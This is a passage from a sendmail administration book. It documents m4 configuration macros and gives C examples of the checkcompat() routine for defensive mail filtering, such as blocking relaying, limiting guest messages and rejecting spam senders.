19.6.35 LOCAL-RULE-3

Add rules to rule set 3

(V8.6 and above)

All addresses are first rewritten by rule set 3 (see Section 29.4, "Rule Set 3"). For complex configuration needs, you can define special rules and cause them to be added to rule set 3. New rules are added to the end of rule set 3 by way of rule set 6. That is, each final decision in rule set 3 (denoted by a $@ in the RHS) calls rule set 96 (with $>96) before returning.

The m4 macro LOCAL_RULE_3 is used to introduce new rules that can be used in canonicalizing the hostnames. Note that any modifications made here are reflected in the header.

One suggested use for LOCAL_RULE_3 is to convert old UUCP hostnames into domain addresses using the m4 UUCPSMTP macro. For example,

LOCAL_RULE_3
UUCPSMTP(decvax,   decvax.dec.com)
UUCPSMTP(research, research.att.com)

This causes the following address transformations:

decvax!user    becomes   ->      user@decvax.dec.com
research!user  becomes   ->      user@research.att.com

Another suggested use for LOCAL_RULE_3 is to introduce a new rule to look up hostnames in a locally customized database:

LOCAL_RULE_3
R$*<@$+>$*       $:$1<@ $(hostmap $2 $) >$3

The declaration and definition of local database maps with the K configuration command (see Section 33.3, "The K Configuration Command") should appear in the LOCAL_CONFIG section.

19.6.36 LOCAL-RULESETS

Group local rules with others

(V8.8 and above)

Prior to V8.8 sendmail, you had to use the divert9 m4 directive to force your new rule set declarations to be emitted alongside the normal m4-generated rules sets. Beginning with V8.8, that bit of "black magic" has been removed.

The LOCAL_RULESETS m4 command causes all the rule sets and rules that follow it to be emitted into your configuration file along with all the rules that are automatically generated. You use it like this:

LOCAL_RULESETS
your new rule sets and rules here

19.6.37 LOCAL-NET-CONFIG

Add rules for SMART-HOST

(V8.6 and above)

One possible setup for mail is to allow hosts on the local network to deliver directly to each other but for all other mail to be sent to a "smart host" that forwards it offsite. Commonly, such arrangements are used by sites with inhouse networks that have access to the outside world only through a UUCP link. For such sites you can use LOCAL_NET_CONFIG:

define(`SMART_HOST', `uucp-new:uunet')
LOCAL_NET_CONFIG
R$* < @ $* .$m. > $*     $#smtp $@ $2.$m $: $1 < @ $2.$m > $3

Here, SMART_HOST is first defined as uucp-new:uunet (send to the host uunet with the uucp-new delivery agent). The LOCAL_NET_CONFIG then introduces a rule that causes all names that end in your domain name ($m) to be delivered via the smtp delivery agent. Any other addresses fall through to be handled by the SMART_HOST rules.

SMART_HOST can be a network-connected gateway too. Just use smtp in place of uucp-new in the SMART_HOST definition, and the name of the gateway.

Note that LOCAL_NET_CONFIG fits into the flow of rules through rule set 0 like this:

  1. 1. Basic canonicalization (list syntax, delete local host, etc.)

  2. 2. LOCAL_RULE_0 (see Section 19.6.32)

  3. 3. FEATURE(mailertable) (see Section 19.6.14)

  4. 4. UUCP, BITNET_RELAY (see Section 31.10.5), etc.

  5. 5. LOCAL_NET_CONFIG (see Section 19.6.37)

  6. 6. SMART_HOST (see Section 19.6.47)

  7. 7. SMTP, local, etc. delivery agents

19.6.38 LOCAL-USER

Users that must be delivered locally

(V8.1 and above)

Some unqualified (without an @host part) usernames need to be delivered on the local machine even if LOCAL_RELAY is defined. The user root is one such example. By remaining local, aliasing is allowed to take place.

The LOCAL_USER m4 macro is used to add additional usernames to the list of local users. Note that root is always a member of that list.

LOCAL_USER(operator)

This causes the name operator to be appended to the list of local users. That list is stored in the class $=L. The disposition of local usernames that include the name of the local host is determined by the stickyhost feature.

19.6.39 LUSER-RELAY

Relay for local looking usernames

(V8.7 and above)

The host that handles usernames that appear to be local even though they are not. See Section 31.10.23 for a discussion of this relay.

19.6.40 MAILER-DEFINITIONS

Define custom delivery agents

(V8.8 and above)

Prior to V8.8 sendmail you had to use a divert(7) statement to force your new delivery agent definitions to be grouped with all the other delivery agent definitions. Beginning with V8.8, this bit of "black magic" has been removed.

To force your new delivery agent definitions to be grouped with the others delivery agent definitions, use the MAILER_DEFINITIONS m4 command:

MAILER_DEFINITIONS
your new delivery agent definitions here

See Section 30.3.1, "Tuning Without an Appropriate Keyword" for an example of this m4 command.

19.6.41 MAIL-HUB

All local delivery on a local server

(V8.1 and above)

One scheme for handling mail is to maintain one mail spool directory centrally and to mount that directory remotely on all clients. To avoid file locking problems, delivery to such a spool should be performed only on the central server. The MAIL_HUB macro allows you to specify that all local mail be forwarded to the central server for delivery. The point is to let unqualified names be forwarded through a machine with a large aliases file.

If you define both LOCAL_RELAY and MAIL_HUB, unqualified names and names in class L are sent to the LOCAL_RELAY and other local names are sent to MAIL_HUB. To illustrate, consider the result of various combinations for the user you on the machine here.our.site.

If LOCAL_RELAY is defined as relay.our.site and MAIL_HUB is not defined, mail addressed to you are forwarded to relay.our.site, but mail addressed to you@here.our.site is delivered locally.

If MAIL_HUB is defined as hub.our.site and LOCAL_RELAY is not defined, mail addressed to you and mail addressed to you@here.our.site is forwarded to hub.our.site for delivery.

If both LOCAL_RELAY and MAIL_HUB are defined as above, mail addressed to you is sent to relay.our.site for delivery, and mail addressed to you@here.our.site is forwarded to hub.our.site.

If you want all outgoing mail to go to a central machine, use SMART_HOST too.

Note that LOCAL_RELAY and MAIL_HUB act identically (except that MAIL_HUB takes precedence) unless the stickyhost feature is used. Also note that the nullclient feature can be used if you want all mail to be forwarded to a central machine.

19.6.42 MASQUERADE-AS

Masquerade as the server

(V8.1 and above)

At sites with one central mail server (see MAIL_HUB, it can be advantageous for mail from the clients to appear as though it is from the hub. This simplifies mail administration in that all users have the same machine address no matter which workstations they use. You can cause a workstation to masquerade as the server (or as another host) by using the MASQUERADE_AS m4 macro:

MASQUERADE_AS(server)

This causes outgoing mail to be labeled as coming from the server (rather than from the value in $j see Section 31.10.20). The new label is in all but the Received: (see Section 35.10.25, Received:) and Message-ID: (see Section 35.10.19, Message-ID:) headers.

Some users (such as root) should never be masqueraded because one always needs to know their machine of origin. Such users are declared by using the EXPOSED_USER m4 macro. Note that root is always exposed.

If you wish to have recipient addresses also masqueraded, cautiously use the allmasquerade feature.

19.6.43 MASQUERADE-DOMAIN

Masquerade other domains

(V8.6 and above)

Ordinarily, MASQUERADE_AS enables only hosts in the local domain, to be transformed into the masquerading host. If you wish to masquerade a domain other than your local one, you can use the MASQUERADE_DOMAIN macro:

MASQUERADE_DOMAIN(`other.domain')

Essentially, all that MASQUERADE_DOMAIN does is to assign its argument to the class $=M, so you can list multiple domains in a single MASQUERADE_DOMAIN statement:

MASQUERADE_DOMAIN(`domain1 domain2 domain3')
CM domain1 domain2 domain3                                   <-  the same

Note that MASQUERADE_DOMAIN masquerades only the domain and not any hosts under that domain. If you wish to masquerade all hosts under a domain (including the domain itself), see the masquerade_entire_domain feature.

19.6.44 MASQUERADE-DOMAIN-FILE

Masquerade other domains

(V8.6 and above)

In masquerading other domains, as with MASQUERADE_DOMAIN above, it may prove advantageous to store the list of masqueraded domains in an external file. The MASQUERADE_DOMAIN_FILE macro allows you to do just that:

MASQUERADE_DOMAIN_FILE(`/etc/mail/domains')

Essentially, all that MASQUERADE_DOMAIN_FILE does is to assign its argument to the class $=M via an F configuration command:

MASQUERADE_DOMAIN_FILE(`-o /etc/mail/domains')
FM -o /etc/mail/domains                                 <-  the same

Here, we added a -o to make the existence of the file optional.

19.6.45 SITE

Declare sites for SITECONFIG (obsolete)

(V8.1 and above)

UUCP connections are declared inside the SITECONFIG file with the SITE macro. That macro just takes a list of one or more UUCP hostnames:

SITE(lady)
SITE(sonya grimble)

Each listed host is added to the class that was defined as the third argument to the SITECONFIG declaration.

19.6.46 SITECONFIG

Local UUCP connections (obsolete)

(V8.1 and above)

The SITECONFIG m4 macro (now obsolete but retained for backward compatibility) is useful for maintaining lists of UUCP connections. There are two types of connections: those connected to the local host and those connected to another host. The first type is declared with SITECONFIG like this:

SITECONFIG(`file',`host',`class')

Here, file is the name of a file (without the .m4 suffix) that is in the directory _CF_DIR_/cf/siteconfig. That file contains a list of SITE declarations (described soon). The host is the UUCP node name of the local host. The class is the name (one letter) of a class that holds the list of UUCP connections. For example,

SITECONFIG(`uucp.arpa',`arpa',`U')

Here, the file _CF_DIR_/cf/siteconfig/uucp.arpa.m4 contains a list of UUCP hosts directly connected to the machine arpa. This declaration would be used only in the machine arpa's mc file. The list of UUCP hosts is added to the class macro $=U. The letters available for local connections are U (for uucp-old), Y (for uucp-new), and Z (for uucp-uudom).

A second form of the SITECONFIG m4 macro is the one used by hosts other than the one with the direct UUCP connections. It is just like the above one but with the full canonical name of the host:

SITECONFIG(`uucp.arpa',`arpa.Berkeley.EDU',`W')

This also reads the file uucp.arpa.m4 but instead of causing UUCP connections to be made locally, it forwards them to the host arpa.Berkeley.EDU.

The hostname that is the second argument is assigned to the $W macro. The class $=W is set aside to hold lists of hosts that appear locally connected. This class is also used with the SITE macro. The letters that are available for remote sites are V, W, and X.

If nothing is specified, the class becomes Y. If class U is specified in the third parameter, the second parameter is assumed to be the UUCP name of the local site, rather than the name of a remote site. In this latter case, the specified local name has a .UUCP appended, and the result is added to class $=w.

Note that SITECONFIG won't work if you disable UUCP with the nouucp feature.

19.6.47 SMART-HOST

The ultimate relay

(V8.1 and above)

Some sites can deliver local mail to the local network but cannot look up hosts on the Internet with DNS. Usually, such sites are connected to the outside world with UUCP. To ensure delivery of all mail, such sites need to forward all nonlocal mail over the UUCP link to a smart (or well-connected) host.

You can enable this behavior by defining SMART_HOST:

define(`SMART_HOST\', uucp-dom:supporthost)

Here, Internet mail will be forwarded to the host supporthost using the uucp-dom delivery agent. For information about other ways to use SMART_HOST, see the file cf/README. Note that the value in SMART_HOST is assigned to $S (see Section 31.10.34, $S) for later use in rules.

19.6.48 UUCP-RELAY

The UUCP relay

(V8.1 and above)

If your site handles UUCP traffic, it can be in one of two forms. Either a given host has direct UUCP connections or it does not. If it does not, then you may wish to have all UUCP mail forwarded to a host that can handle UUCP. This is done by defining a UUCP_RELAY, which is done just as you would define any other relay (as described in Section 19.4.5).

If your machine or site does not support UUCP, consider disabling all UUCP with the nouucp feature.

If your machine has directly connected UUCP hosts, you might wish to use one of or more of the UUCP techniques. But before doing so, be sure to declare the uucp delivery agent (see Section 19.3.2).

19.6.49 UUCPSMTP

Individual UUCP to network translations

(V8.1 and above)

If your site has hosts that used to be UUCP sites but are now on the network, you may intercept and rewrite the old address into the new network address. For example, mail to the machine wash used to be addressed as wash!user. Now, however, wash is on the network, and the mail should be addressed as user@wash.dc.gov.

The UUCPSMTP m4 macro provides the means to specify a UUCP to network translation for specific hosts. The above example would be declared like this:

UUCPSMTP(`wash',`wash.dc.gov')

The UUCPSMTP m4 macro should be used only under LOCAL_RULE_3.

19.6.50 VERSIONID

Version of the mc file

(V8.1 and above)

The VERSIONID m4 macro is used to insert an identifier into each .mc and .m4 file that becomes a part of your final .cf file. Each of the files that is supplied with sendmail already has such an identifier. You should include a similar identifier in each of your .mc files. .ds dollar $

VERSIONID(`\*[dollar]Revision\*[dollar]')

Here, the VERSIONID macro is being used to insert an RCS-style revision number. The \*[dollar]Revision\*[dollar] becomes an actual version number when the file is checked in with ci(1). Arbitrary text may appear between the single quotes. You may use RCS, SCCS, or any other kind of revision identification system. The text may not contain a newline because the text appears in the .cf file as a comment:

#####  \*[dollar]Revision: 1.5\*[dollar] #####

Use of VERSIONID and revision control in general is recommended.

Previous: 19.5 Pitfalls | sendmail | Next: 20. The checkcompat() Cookbook
19.5 Pitfalls | Book Index | 20. The checkcompat() Cookbook


[Chapter 20] The checkcompat() Cookbook

sendmailSearch this book
Previous: 19.6 Alphabetized m4 Macros Chapter 20 Next: 20.2 The Cookbook

20. The checkcompat() Cookbook

Contents:
How checkcompat() Works
The Cookbook
Alphabetized V8.8 Subroutines

Inside sendmail is the often overlooked checkcompat() routine. It has existed since Version 3 and is intended to allow the site administrator to accept, reject, and log mail delivery attempts. Among its uses, and those we will illustrate, are the following:

  • Refuse to act as a mail gateway. Reject any mail that is both from and to any outside address.

  • Limit the size of guest messages. Screen messages based on user uid, and reject those for the class of users who are guests when the message is over a specified limit in bytes.

  • Verify identd(8) information. Compare the host information in $s to that in $_ and log a warning if they differ.

  • Prune Received: headers at a firewall. Make all outgoing mail appear fresh as it exits the internal network via a firewall.

  • Reject mail from spamming or mail-bombing sites. Look up the sender in an external database and bounce the message if the sender is listed as "bad."

The checkcompat() routine is located in the file src/conf.c. That file contains comments describing one way to code checkcompat(). In this chapter we show you other ways to code it.

The checkcompat() routine is inherently "internal," meaning that it must understand internal data structures that may change. [1] Since you are modifying source code, you have to be prepared to read source code. In this chapter we offer examples of ways to use checkcompat(). Be aware that they are examples only, and you will need C programming skill to extend them to real-world situations.

[1] V8.8 sendmail also offers a check_compat rule set (see Section 29.10.4, "The check_compat Rule Set") that can perform some of the checkcompat() routine's functionality at the rule set level. This is one way to avoid having to program in the C language.

The checkcompat() routine is called for every delivery attempt to every recipient. When designing a checkcompat() routine of your own, be aware that a cascade of errors may propagate if you are not careful with your design. Logging a warning based on the sender, for example, may result in multiple warnings when there are multiple recipients.

20.1 How checkcompat() Works

When sendmail prepares to deliver mail, it first checks the size of the mail message and rejects (bounces) it if it is larger than the limit imposed by the M= delivery agent equate (see Section 30.4.7, M=). V8.8 sendmail then calls the check_compat rule set (see Section 29.10.4). Next, all versions of sendmail call the checkcompat() routine.

The checkcompat() routine lies in a unique position within the sendmail code. It is the one place where both the sender and recipient addresses are available at the same time. Since it precedes actual delivery, all the information needed for delivery is available to you for checking.

If checkcompat() returns EX_OK, as defined in <sysexits.h>, the mail message is considered okay and delivered. Otherwise, the message is bounced. If you wish the message to be requeued instead of bounced, you can return EX_TEMPFAIL.

Again note that the checkcompat() routine is called once for each recipient.

20.1.1 Arguments Passed to checkcompat()

The checkcompat() is found in the C language source file src/conf.c. Inside that file you will find it declared like this:

checkcompat(to, e)
        register ADDRESS *to;
        register ENVELOPE *e;

Here, to is a pointer to a structure of typedef ADDRESS that contains information about the recipient. And e is a pointer to a structure (actually a linked list of structures) of typedef ENVELOPE that contains information about the current envelope.

The members of the ADDRESS *to structure are shown in Table 20.1. Note that these members are correct for V8.8 sendmail only. Also note that the table shows only those members that may be useful in a checkcompat() routine (see sendmail.h for the other members of *to).

Table 20.1: ADDRESS *to Members
Type | Member | Description
char * | q_paddr | The address in a form suitable for printing
char * | q_user | The user part ($:) from rule set 0 (see Section 29.6, "Rule Set 0")
char * | q_ruser | The login name for this user, if known
char * | q_host | The host part ($@) from rule set 0 (see Section 29.6)
struct mailer * | q_mailer | The delivery agent ($#) from rule set 0 (see Section 29.6)
u_long | q_flags | Status flags (see Section 37.3.1, "The Output Produced by printaddr()" in Section 37.3.1)
uid_t | q_uid | The uid of the q_ruser, if known
gid_t | q_gid | The gid of the q_ruser, if known
char * | q_home | The home directory (path), if delivery is local
char * | q_fullname | The (gecos) full name of q_ruser, if known
struct address * | q_next | Link to the next ADDRESS in the chain
struct address * | q_alias | The alias that yielded this address
char * | q_owner | The owner of q_alias

The members of the ENVELOPE *e structure are shown in Table 20.2. Note that these members are correct for V8.8 sendmail only. Also note that the table shows only those members that may be useful in a checkcompat() routine (see sendmail.h for other members of *e).

Table 20.2: ENVELOPE *e Members
Type | Member | Description
HDR * | e_header | Linked list of headers
time_t | e_ctime | Time message first placed into the queue
ADDRESS | e_from | The sender
ADDRESS * | e_sendqueue | Linked list of recipients
long | e_msgsize | Size of the message in bytes
long | e_flags | Envelope flags (see Table 37.3 in Section 37.5.12, -d2.1)
int | e_nrcpts | Number of recipients
short | e_hopcount | The hop count for the message

The checkcompat() routine is a powerful internal hook inside sendmail. It is so internal and powerful, in fact, that if you are truly clever, you can even use checkcompat() to modify rewrite rules at runtime (scary but possible).

20.1.2 Global Variables

Over 100 global variables are used by V8.8 sendmail. They are all listed in sendmail.h and conf.c with "lite" comments. Global variables store information such as sendmail's option values, file descriptor values, macro values, class lists, and database access information. Any can be modified inside checkcompat(), but before attempting to do so, study the sendmail C source code to anticipate any unexpected side effects.

In general, you can use almost any of the global variables when designing your own checkcompat() routine. The four most interesting are the following:

RealHostAddr

The IP address of the sending host. This is a union of several sockaddr_ types depending on your selection of protocol type. This can be zero for locally submitted mail.

RealHostName

A string containing the definitive canonical name of the sending host. If it can't be resolved to a name, it will contain the host's IP number in text form, surrounded by square brackets.

LogLevel

This variable determines the amount of logging that sendmail does. It is initially set with the LogLevel (L) option (see Section 34.8.33, LogLevel (L)). You might want to use checkcompat() to detect questionable connections and, if any are detected, to increase the value in LogLevel to 12. This will cause both sides of every subsequent SMTP connection to be logged.

MatchGecos

Whether or not unmatched local looking names are looked up in the passwd(5) file is under the control of the MatchGECOS (G) option (see Section 34.8.34, MatchGECOS (G)). Because this kind of lookup is expensive, you might wish to enable it only during nonbusiness hours. One way to do this would be by modifying the MatchGecos variable inside checkcompat().

Previous: 19.6 Alphabetized m4 Macros | sendmail | Next: 20.2 The Cookbook
19.6 Alphabetized m4 Macros | Book Index | 20.2 The Cookbook


[Chapter 20] 20.2 The Cookbook

sendmailSearch this book
Previous: 20.1 How checkcompat() Works Chapter 20
The checkcompat() Cookbook 		Next: 20.3 Alphabetized V8.8 Subroutines

20.2 The Cookbook

In this section we show several examples of possible uses for the checkcompat() routine. Among those we illustrate are the following:

  • Accept mail only from our domain. (see Section 20.2.1, "Accept Mail Only From Our Domain").

  • Cause your workstation to refuse to work as a mail gateway (see Section 20.2.2, "Workstation Refuses to Act as a Mail Gateway").

  • Limit the size of guest account messages (see Section 20.2.3, "Limit the Size of Guest Messages").

  • Verify that identd information is correct (see Section 20.2.4, "Verify identd Information").

  • Prune Received: headers at a firewall (see Section 20.2.5, "Prune Received: Headers at Firewall").

  • Reject mail from spamming or mail-bombing sites (see Section 20.2.6, "Reject Mail from Spamming or Mail-bombing Sites").

Note that in all of the following examples the numbers to the left indicate line numbers for discussion and are not a part of the code.

20.2.1 Accept Mail Only From Our Domain

If your site lives behind a firewall, [2] you might want to use checkcompat() to configure the internal sendmail so that it accepts only mail that is generated locally. The external sendmail (outside the firewall or part of it) acts as a proxy. That is, it accepts external mail that is destined for internal delivery from the outside and forwards it to the internal sendmail. Because the external sendmail is part of the local domain, its envelope always appears to be local. Any external mail that somehow bypasses the firewall needs to be bounced. The way to do this in checkcompat() looks like this:

[2] A firewall is a machine that lies between the local network and the outside world. It intercepts and filters all network traffic and rejects any that are considered inappropriate.

# define OUR_NET_IN_HEX 0x7b2d4300 /* 123.45.67.0 in hex */
# define OUR_NETMASK 0xffffff00

checkcompat(to, e)
      register ADDRESS *to;
      register ENVELOPE *e;
{
      if (tTd(49, 1))
              printf("checkcompat(to=%s, from=%s)\n",
                      to->q_paddr, e->e_from.q_paddr);

      if (RealHostAddr.sa.sa_family == 0)
      {
              /* this is a locally submitted message */
              return EX_OK;
      }
      if (RealHostAddr.sa.sa_family != AF_INET ||
      (RealHostAddr.sin.sin_addr.s_addr & OUR_NETMASK)!= OUR_NET_IN_HEX)
      {
              usrerr("553 End run mail not allowed");
              e->e_flags |= EF_NO_BODY_RETN;
              to->q_status = "5.7.1";
              return (EX_UNAVAILABLE);
      }
      return (EX_OK);
}

The usrerr() routine (line 21) causes a warning to be printed at the sending site, and returning EX_UNAVAILABLE (line 24) causes the mail message to be bounced. Bounced mail is sent back to the originating sender. A copy may also be sent to the local postmaster depending on the setting of PostmasterCopy (P) option (see Section 34.8.46, PostmasterCopy (P)).

The EF_NO_BODY_RETN (line 22) causes only the headers from the message to be returned in bounced mail, not the original message body. Other envelope flags of interest can be found in Table 37.3 of Section 37.5.12.

The to->q_status (line 23) conveys the DSN error status in the bounced mail message (see RFC1893). Here, 5.7.1 indicates a permanent failure (5) of policy status (7), where delivery is not authorized and the message is refused (1).

Also note that this code sample is only a suggestion. It doesn't take into account that RealHostAddr may contain 0x7f000001 (127.0.0.1 for localhost).

20.2.2 Workstation Refuses to Act as a Mail Gateway

If you've spent many months getting your workstation set up and running perfectly, you might not want outsiders using it as a knowledgeable mail relay. One way to prevent such unwanted use is to set up checkcompat() in conf.c so that it rejects any mail from outside your machine that is destined to another site outside your machine. A desirable side effect is that this will also prevent outsiders from directly posting into your internal mailing lists.

checkcompat(to, e)
        register ADDRESS *to;
        register ENVELOPE *e;
{

        if (tTd(49, 1))
                printf("checkcompat(to=%s, from=%s)\n",
                        to->q_paddr, e->e_from.q_paddr);

        if (RealHostAddr.sa.sa_family == 0)
        {
                /* this is a locally submitted message */
                return (EX_OK);
        }
        /* only accept local delivery from outside */
        if (!bitnset(M_LOCALMAILER, to->q_mailer->m_flags))
        {
                usrerr("553 External gateway use prohibited");
                e->e_flags |= EF_NO_BODY_RETN;
                to->q_status = "5.7.1";
                return (EX_UNAVAILABLE);
        }
        return (EX_OK);
}

Although to (line 16) is really a linked list of recipients, we check only the current recipient to prevent spurious warnings. This is done because checkcompat() is called once for every recipient. The check in line 16 is to see whether F=l delivery agent flag is not set (see Section 30.8.28, F=l (lowercase L)) thus implying that the recipient is not local.

Note that this form of rejecting messages will not work on a mail hub. In that case more sophisticated checks need to be made. Among them are the following:

  • Check all the IP domains for your site. If you have only one, the check in Section 20.2.1 will work. If you have several (as in an assortment of class C domains), the check will be more complex. If the connecting host is in your domain or one of your domains, you should accept the message.

  • The envelope sender's host (e->e_from->q_host) should be checked to see whether it is in the class $=w (see Section 32.5.8, $=w). You can use the wordinclass() routine (see Section 20.3.8, wordinclass()) to look it up. If it is in $=w, you should accept the message. This prevents a message from being forwarded through a workstation.

  • If the delivery agent for a recipient is *include*, the message is destined for a mailing list. You might wish to screen further at this point.

20.2.3 Limit the Size of Guest Messages

Suppose your site has reserved uids numbered from 900 to 999 for guest users. Because guests are sometimes inconsiderate, you might want to limit the size of their messages and the number of simultaneous recipients they may specify. One way to do this is with the checkcompat() routine:

#define MAXGUESTSIZE 8000
#define MAXGUESTNRCP 4

checkcompat(to, e)
        register ADDRESS *to;
        register ENVELOPE *e;
{

        if (tTd(49, 1))
                printf("checkcompat(to=%s, from=%s)\n",
                        to->q_paddr, e->e_from.q_paddr);

        /* does q_uid contain a valid uid? - no external */
        if (! bitset(QGOODUID, e->e_from.q_flags))
                return (EX_OK);
        if (e->e_from.q_uid < 900 || e->e_from.q_uid > 999)
                return (EX_OK);
        if (e->e_msgsize > MAXGUESTSIZE)
        {
                syslog(LOG_NOTICE,
                        "Guest %s attempted to send %d size",
                        e->e_from.q_user, e->e_msgsize);
                usrerr("553 Message too large, %d max", MAXGUESTSIZE);
                e->e_flags |= EF_NO_BODY_RETN;
                to->q_status = "5.7.1";
                return (EX_UNAVAILABLE);
        }
        if (e->e_nrcpts > MAXGUESTNRCP)
        {
                syslog(LOG_NOTICE,
                        "Guest %s attempted to send %d recipients",
                        e->e_from.q_user, e->e_nrcpts);
                usrerr("553 Too many recipients for guest, %d max",
                        MAXGUESTNRCP);
                e->e_flags &= ~EF_NO_BODY_RETN;
                to->q_status = "5.7.1";
                return (EX_UNAVAILABLE);
        }
        return (EX_OK);
}

Note that q_uid will have a valid uid (QGOODUID will be set) only if the sender is local (line 14). For external mail coming in, QGOODUID will be clear.

Also note that we specifically do not return the message body (EF_NO_BODY_RETN) if the message was returned because it was too large (line 24). But we do return the message body if the message was rejected for too many recipients (line 35). Other envelope flags of interest can be found in Table 37.3 of Section 37.5.12.

20.2.4 Verify identd Information

When an outside host connects to the local sendmail via SMTP, its hostname is saved in the $s macro (see Section 31.10.33, $s). If the Timeout.ident option (see Section 34.8.70, Timeout (r)) is nonzero, sendmail uses the RFC1413 identification protocol to record the identity of the host at the other end, that is, the identity of the host that made the connection. That identity is recorded in the $_ macro (see Section 31.10.1, $-).

If you are unusually picky about the identity of other hosts, you may wish to confirm that the host in $s is the same as the host in $_. One way to perform such a check is with the checkcompat() routine:

checkcompat(to, e)
        register ADDRESS *to;
        register ENVELOPE *e;
{
        char *s, *u, *v;
        int len;
        static char old_s[MAXHOSTNAMELEN];

        if (tTd(49, 1))
                printf("checkcompat(to=%s, from=%s)\n",
                        to->q_paddr, e->e_from.q_paddr);

        /* if $s is localhost or in $=w, accept it */
        if ((s = macvalue('s', e)) == NULL)
                return (EX_OK);
        if (strncasecmp(s, old_s, MAXHOSTNAMELEN-1) == 0)
                return (EX_OK);
        else
                (void)sprintf(old_s, "%.*s", MAXHOSTNAMELEN-1, s);
        if (strcasecmp(s, "localhost") == 0)
                return (EX_OK);
        if (wordinclass(s, 'w') == TRUE)
                return (EX_OK);

        if ((u = macvalue('_', e)) == NULL)
                return (EX_OK);
        if ((u = strchr(u, '@')) == NULL)
                return (EX_OK);
        if ((v = strchr(u, ' ')) != NULL)
                *v = ' ';
        len = strlen(u);
        if (v != NULL)
                *v = ' ';

        if (strncasecmp(s, u, len) != 0)
        {
             auth_warning(e, "$s=%s doesn't match $_=%.*s", s, len, u);
        }
        return (EX_OK);
}

First (line 16) we check to see whether we have already checked this value of $s. If so, we don't check again because checkcompat() is called once for each recipient. If $s is new, we save a copy of its value for next time.

Then we make sure that the local host (no matter what its name) is acceptable (lines 20 and 22). If this is an offsite host, we compare the values of $s and the host part of $_ (line 35). If they don't match, we insert an X-Authentication-Warning: header (line 37). This keeps such warnings under the control of the PrivacyOptions.authwarnings (p) option (see Section 34.8.47, PrivacyOptions (p)).

20.2.5 Prune Received: Headers at Firewall

In routing mail outward from a firewall (see Section 20.2.1), it may be advantageous to replace all the internal Received: headers with one master header. A way to do this with checkcompat() looks like this:

# define OUR_NET_IN_HEX 0x7b2d4300 /* 123.45.67.0 in hex */
# define OUR_NETMASK 0xffffff00
# define LOOP_CHECK "X-Loop-Check"

checkcompat(to, e)
        register ADDRESS *to;
        register ENVELOPE *e;
{
        HDR *h;
        int cnt;

        if (RealHostAddr.sa.sa_family == 0)
        {
                /* this is a locally submitted message */
                return EX_OK;
        }
        if (RealHostAddr.sa.sa_family != AF_INET ||
        (RealHostAddr.sin.sin_addr.s_addr & OUR_NETMASK) != OUR_NET_IN_HEX)
        {
                /* not received from the internal network */
                return EX_OK;
        }
        if (hvalue(LOOP_CHECK, e->e_header) != NULL)
        {
                /* We've stripped them once already */
                return EX_OK;
        }
        addheader(LOOP_CHECK, "", &e->e_header);

        for (cnt = 0, h = e->e_header; h != NULL; h = h->h_link)
        {
               if (strcasecmp(h->h_field, "received") != 0)
                       continue;
               if (cnt++ == 0)
                       continue;
               clrbitmap(h->h_mflags);
               h->h_flags |= H_ACHECK;
        }
        return (EX_OK);
}

Because we are stripping the message of Received: headers, we need to be careful. We shouldn't do it if the message originated on the firewall machine (line 12). We also shouldn't do it if the message originated from outside the internal (firewalled) network (lines 17 and 18). To prevent possibly disastrous mail loops, we check for a special header (line 23) and skip stripping again if that header is found. We then add that special header (line 120), just in case the mail flows though this firewall again.

If it is okay to do so, we scan all the headers (line 30) looking for all Received: headers (line 32). We skip deleting the first one because it was placed there by the firewall (line 34). We delete all the others by clearing their ?flags? bits (line 36) and setting the H_ACHECK flag (line 37). See Section 20.3.3, for a general discussion of this technique.

Be aware that this is only one possible approach and that, depending on what other hosts on the Internet do to the message, this loop detection may break. A safer but more difficult approach is to rewrite the Received: headers themselves and to mask out sensitive information in them.

20.2.6 Reject Mail from Spamming or Mail-bombing Sites

As the Internet grows, your site may become more and more subject to advertising and vengeful attacks from the outside. Advertising attacks are called "spams" and are symptomized by advertisers sending multiple copies of advertisements through your internal mail lists or to several of your users. Vengeful attacks are called "mail bombs" and usually are detected by your mail spool directory filling with a huge number of messages from a single sender. [3]

[3] Often in response to one of your users sending an offensive spam.

To limit your vulnerability to such events (and to others of a similar nature that may be invented in the future), you may screen mail from outside hosts using a combination of a database and checkcompat(). First we show you how to set up such a database, then we show you a checkcompat() routine for using it. [4]

[4] You may also screen sender addresses at the SMTP MAIL command with the new V8.8 check_mail rule set (see Section 29.10.1, "The check_mail Rule Set"). Although it can be easier to design check_mail rules, the checkcompat() routine can be more powerful.

The source file for the database will look like this:

user@spam.host      spam
user@bomb.host      bomb

Here, each left-hand side entry is an email address with a user part, an @, and a host part. We will be screening on the basis of individual sender addresses rather than screening at a sitewide level. The right-hand side is either the word spam to represent a spamming sender or bomb to represent a mail-bombing sender.

If the source file is called /etc/mail/blockusers, the database will be created like this:

% makemap hash /etc/mail/blockusers.db < /etc/mail/blockusers

Here, we create a hash db style database. For other available styles, see Section 33.2, "Create Files with makemap".

Once the database is in place, your configuration file needs to be told of its existence. To do that, we use the K configuration command (see Section 33.3, "The K Configuration Command"):

Kbadusers hash -o /etc/mail/blockusers.db

For the m4 configuration technique you would place this declaration under the LOCAL_CONFIG line in your mc file (see Section 19.6.30, LOCAL-CONFIG).

One possible checkcompat() routine to handle all this will look like this:

checkcompat(to, e)
        register ADDRESS *to;
        register ENVELOPE *e;
{
        STAB *map;
        char *p;
        int  ret = 0;

        map = stab("badusers", ST_MAP, ST_FIND);
        if (map == (STAB *)NULL)
                return (EX_OK);
        p = (*map->s_map.map_class->map_lookup)
                 (&map->s_map, e->e_from.q_paddr, NULL, &ret);
        if (p == NULL)
                return (EX_OK);

        if (strcasecmp(p, "spam") == 0)
        {
                usrerr("553 Spamming mail rejected from %s",
                        e->e_from.q_paddr);
                to->q_status = "5.7.1";
                return (EX_UNAVAILABLE);
        }
        if (strcasecmp(p, "bomb") == 0)
        {
                usrerr("553 Message rejected from mail-bomber %s",
                        e->e_from.q_paddr);
                e->e_flags &= ~EF_NO_BODY_RETN;
                to->q_status = "5.7.1";
                return (EX_UNAVAILABLE);
        }
        return (EX_OK);
}

Here we first look up the database named badusers in the symbol table (line 9). It is okay for the database not to exist (line 11). If the database exists, we look up the sender's address in it (line 12). If the address is not found, all is okay (line 15).

If the address was found in the database, we have a potential bad person. So we first check to see whether the address was marked as a spam (line 17). If it was, we bounce it with an appropriate error message (line 19).

We also bounce the message if it is a mail bomb (line 24). This is fraught with risk however. The bounced mail can fill up the outgoing queue, thereby accomplishing the bomber's ends in a different way. A better approach might be to drop the mail on the floor (see dropenvelope() in envelope.c), but we leave this as an exercise for the reader.

